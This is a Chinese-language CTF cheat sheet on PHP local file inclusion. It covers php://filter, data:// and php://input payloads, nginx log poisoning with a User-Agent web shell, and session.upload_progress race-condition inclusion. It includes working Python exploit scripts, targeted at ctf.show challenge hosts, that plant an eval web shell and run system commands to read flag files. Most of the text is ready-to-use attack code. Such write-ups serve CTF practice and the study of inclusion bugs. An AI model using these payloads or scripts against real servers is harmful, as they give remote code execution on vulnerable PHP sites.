文件包含(更新......)
php伪协议
include爆破点
-
方法1 php://filter
?file=php://filter/write=convert.base64-decode/resource=4.php
过滤了php
那么我们用Php进行绕过即可
-
方法2用data
?file=data://text/plain,.php
//我们可以进行部分省略
?file=data://,.php
?file=data:,.php
-
方法3用php://input
php://input
post:
但需要注意:谷歌的hackbar会认为不是json形式的数据(x=x类型)所以我们用1=
来代替上述信息即可,同时需要注意post发包需要带raw不进行url编码,我们也可以用burpsuite或者maxhackbar进行操作。
-
nginx日志包含(一般是php伪协议用不了了,比如把:冒号ban了,但是.没有ban掉,所以我们使用nginx日志包含)
首先我们先利用目录回溯进行文件输出测试
表明了我们可以访问根目录,没有限制
找到日志路径
/var/log/nginx/access.log
我们写UA
一定要一次写对,因为php代码执行从前往后执行,如果前面有错误代码,就停止执行,不会执行后面
<?php eval($_POST[1]);?>
访问到了,相当于执行了以php的形式日志文件,那么我们可以访问日志文件,并写post命令,建议后面跟上phpinfo();表示分割,容易观看。
上脚本
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/20 19:51
# blog: www.wlhhlc.top
import requests
url = "http://893b0ed2-2497-41f3-b056-c5617165c2f3.chall.ctf.show:8080/" + "?file=/var/log/nginx/access.log"
#目标URL
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0<?php @eval($_POST[dotast]);?>'
}
#修改UA
data = {
'dotast': 'system("cat fl0g.php");'
}
#post传输数据
req = requests.get(url=url, headers=headers)
#先用get形式,第一遍发送数据写入日志
result = requests.post(url=url, data=data)
#再用post形式,第二遍发送数据执行脚本命令
print(result.text)
#把返回包打出来
-
使用session文件包含(把.也给ban掉了)
https://www.freebuf.com/vuls/202819.html 这道题有点像wmctf的make php great again 利用session对话进行文件包含利用 https://blog.csdn.net/qq_46091464/article/details/108021053
php5.4之后php.ini开始有几个默认选项
1.session.upload_progress.enabled = on
2.session.upload_progress.cleanup = on
3.session.upload_progress.prefix = “upload_progress_”
4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
5.session.use_strict_mode=off第一个表示当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
第二个表示当文件上传结束后,php将会立即清空对应session文件中的内容
第三和第四个prefix+name
将表示为session中的键名
第五个表示我们对Cookie中sessionID可控
简而言之,我们可以利用session.upload_progress
将木马写入session文件,然后包含这个session文件。不过前提是我们需要创建一个session文件,并且知道session文件的存放位置。因为session.use_strict_mode=off
的关系,我们可以自定义sessionID
linux系统中session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session
例如我们在Cookie中设置了PHPSESSID=flag,php会在服务器上创建文件:/tmp/sess_flag,即使此时用户没有初始化session,php也会自动初始化Session。 并产生一个键值,为prefix+name
的值,最后被写入sess_文件里。
还有一个关键点就是session.upload_progress.cleanup
默认是开启的,只要读取了post数据,就会清除进度信息,所以我们需要利用条件竞争来pass,写一个脚本来完成
#基础session竞争脚本
import io
import requests
import threading
url = 'http://e7133b0c-51f8-4693-9e04-aa82ece75273.challenge.ctf.show/'
def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>dotast'
}
while True:
f = io.BytesIO(b'a' * 1024 * 10)
#StringIO操作的只能是str,如果要操作二进制数据,就需要使用BytesIO。
response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
#编写写进程程序
def read(session):
while True:
response = session.get(url+'?file=/tmp/sess_flag')
if 'dotast' in response.text:
print(response.text)
break
else:
print('retry')
#编写读进程程序
if __name__ == '__main__':
session = requests.session()
write = threading.Thread(target=write, args=(session,))
write.daemon = True
write.start()
read(session)
#多线程session竞争
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/20 23:51
# blog: www.wlhhlc.top
import io
import requests
import threading
url = 'http://8c42100f-3744-4c9f-83d4-5ac626e78719.chall.ctf.show:8080/'
def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>dotast'
}
while True:
f = io.BytesIO(b'a' * 1024 * 10)
response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
def read(session):
while True:
response = session.get(url+'?file=/tmp/sess_flag')
if 'dotast' in response.text:
print(response.text)
break
else:
print('retry')
if __name__ == '__main__':
session = requests.session()
for i in range(30):
threading.Thread(target=write, args=(session,)).start()
for i in range(30):
threading.Thread(target=read, args=(session,)).start()
标签:姿势,web,文件,url,汇总,session,post,php,data
From: https://www.cnblogs.com/lyxhhz/p/17051336.html